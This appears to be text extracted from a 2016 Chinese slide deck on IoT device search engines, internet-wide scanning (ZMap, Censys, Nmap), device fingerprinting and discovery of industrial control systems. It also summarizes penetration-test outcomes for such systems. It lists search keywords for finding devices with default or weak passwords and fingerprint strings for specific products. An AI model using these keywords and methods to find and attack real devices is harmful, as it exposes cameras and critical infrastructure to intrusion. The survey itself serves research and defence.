最全面、最强大的搜索引擎 物联网搜索引擎  发现思科设备  “cisco-ios” “last-modified”  14,000+设备使用HTTP服务却未进行认 证设置  没有安全设置的网络摄像头、打印机  “camera” “printer” “default password” “password:123456”等关键字 物联网搜索引擎  Censys – Internet-wide search engine  密西根大学开发的搜索引擎  2015年ACM CCS安全会议上发布  更加偏重于学术研究(网络安全协议,TLS,SSL等)  数据更新快(每天更新实时更新)  开放源码 – https://github.com/zmap/zgrab – https://github.com/zmap/ztag  提供原数据下载(https://scans.io/)  应用  可以搜索到互联网上多少设备使用了SSLv3安全协议, 以及多少设备存在着“心血”漏洞 Durumeric Z, Adrian D, Mirian A, et al. A search engine backed by Internet-wide scanning[C]//Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security(CCS). ACM, 2015: 542-553. 2016年9月2日星期五2时21分18 秒 Part. 02 物联网搜索技术 11 网络空间搜索的挑战  目标  发现网络上的服务和设备  搜索速度快  搜索内容全  设备发现的难点(挑战)  40亿IP的网络空间  多端口、网络黑洞  NAT、Firewall等内网空间探测  设备发现的礼貌性  设备发现的隐蔽性 智 能 设 备 办 公 设 备 监 控 设 备 工 控 设 备 物联网搜索 Came—来到你身边 1 Saw—看看你是谁 2 Conquered—快到碗里来 3 物联网搜索技术  Came—来到你身边  快速发现技术  Saw—看看你是谁  指纹识别技术  位置定位技术  Conquer—快到碗里来  漏洞利用技术  获取信息或控制权 摄像头、路由器 服务器、打印机 工控设备 物联网搜索技术 设备 特征提取 设备定位 设备防护 搜索发现  设备特征:设备异构多样,存在大量不透明的专用协议  搜索空间:设备搜索的网络地址空间大,还存在有黑洞  设备发现:复杂异构网络条件,快发现设备  设备识别:不同厂家类设备,同厂家不同型号不同版本  设备定位:全球设备的精确定位 实体设备异构互联 高效设备识别发现 2016年9月2日星期五2时21分18 秒 Part. 03 Came—来到你的身边 16 设备发现工具-Nmap  Nmap – Network Mapper  网络设备识别和安全审计工具  Fyodor在1997发布第一版本  开 源 一 直 维 护 至 今 , 最 新 版 本 Nmap 7.12  http://nmap.org/  能够识别出2600多种操作系统与设 备类型  最为流行的安全必备工具之一 Firewall/IDS evasion 主机发现 端口扫描 版本侦测 OS探测 Cyber Space NSE 脚本 引擎 设备发现工具-Zmap  ZMap – Internet Wide Scanner  密歇根大学团队在2013年开发完成  发布于22届USENIX会议上  千兆以太网条件下,45分钟完成全网 存活探测,是Nmap的1300倍  C语言开发,开源网络扫描工具,密 西根大学的多个博士生一直维护  https://github.com/zmap/zmap  设备发现技术领域里程碑式的工具 Zmap架构 Durumeric, Z., Wustrow, E., & Halderman, J. A. (2013, August). ZMap: Fast Internet-wide Scanning and Its Security Applications. In Usenix Security(Vol. 2013). 快速扫描技术  设备扫描  主机存活 – 做主机存活扫描, 得到设备候选集  收集应用层数据 – 对设备进行协议 探测,抓取标语 信息  标识 – 对设备进行标识  数据整合存储 – 整合数据存储数 据到数据库 存活的 主机IP 地址 应用层 协议标 语信息 基于协 议特征 的标识 数据整 合 2016年9月2日星期五2时21分19 秒 Part. 04 Saw—看看你是谁 20 设备指纹识别技术  什么指纹?  人的指纹:灵长类手指末端指腹上由 凹凸的皮肤所形成的纹路,也可指这 些纹路在物体上印下的印痕。(Wiki)  数据指纹:从一段数据中提取出的可 以唯一确定该数据的特征  设备指纹:从远程设备中采集的用于 确定该设备的信息 OS指纹 设备硬件指纹 设备指纹识别技术 Nmap系统指纹 SinFP系统指纹 西门子指纹 智能电表 服务器指 纹 智能开关 OS 指 纹 协 议 指 纹 2016年9月2日星期五2时21分26 秒 Part. 06 Our work 23 全球分布态势图 全国分布态势图 搜索结果 工厂 加气站 施耐德设备 DCS系统 供热控制 系统 应用示范 看世界 《速度与激情7》中设计出一种超级黑客程序“天眼”系统,这个程序 可以整合全球所有的数据采集、监控设备,可以通过手机音频、监控摄 像头等手段大量采集数 据,再使用大数据和人脸识别等技术,短时间内 把要找的人找出来。 点我“看”世界 2016年9月2日星期五2时21分26 秒 Part. 07 工控篇 29 工控设备快速搜索技术  问题与目标  快速发现设备,并且对这些设备进行标识建立 档案  技术要点  快速筛选 • 无状态连接、单包、跳过内核直接从网卡发送数 据包、特定端口等方式获得工控设备候选集合  精准探测 • 通过贪心准则筛选最优探测数据包载荷  建立档案 • 结合多维度(时间、空间、设备)的特征,建立 设备档案 Filtering Identifying Candidates Modbus protocol Probing S7 protocol Particular Port Stateless One packet Internet Space 工控协议指纹库  指纹库  研究和提取了包括西门子、施耐德、浙大中控、和利时 等知名品牌设备的指纹  Siemens等17种工控协议特征 搜索到的西门子S7 PLC 搜索到的施耐德BMX PLC 全球工控设备态势分析  动态性  工控设备大部分IP为静态,一个月内变化小,三个月会有 1/3发生变化  与综合国力相关  发达国家的工控设备较多,但一般不在最发达的城市  工控设备的分布显示长尾效应 我国工控系统的安全现状  应**省对工控系统进行调研  全国渗透了70多个工控系统  涵盖了能源、电力、水利等要害行业 12 3 12 2 3 2 10 2 10 0 2 4 6 8 10 12 14 能源 制造 水利 楼宇 电力 环保 生活 安防 监测 搜索目标 44% 获取权限 19% get shell 8% sql注入拖库 11% 路径遍历 10% 弱密钥 8% 工控渗透总结 0 5 10 15 20 25 搜索目标 获取权限 get shell sql注入脱裤 路径遍历 弱密钥 搜索目标 23 获取权限 10 get shell 4 sql注入脱裤 6 路径遍历 5 弱密钥 4 工控攻击统计 智能硬件的展望  智能电视  Sony电视  关键词:“Bravia TV”  智能开关  TP-LINK开关  关键词: Basic realm=“Web Smart Switch”  智能电表  IBM Tivoli WebSEAL  Smart Meter T H A N K S [ yanzhaoteng@iie.ac.cn]
pdf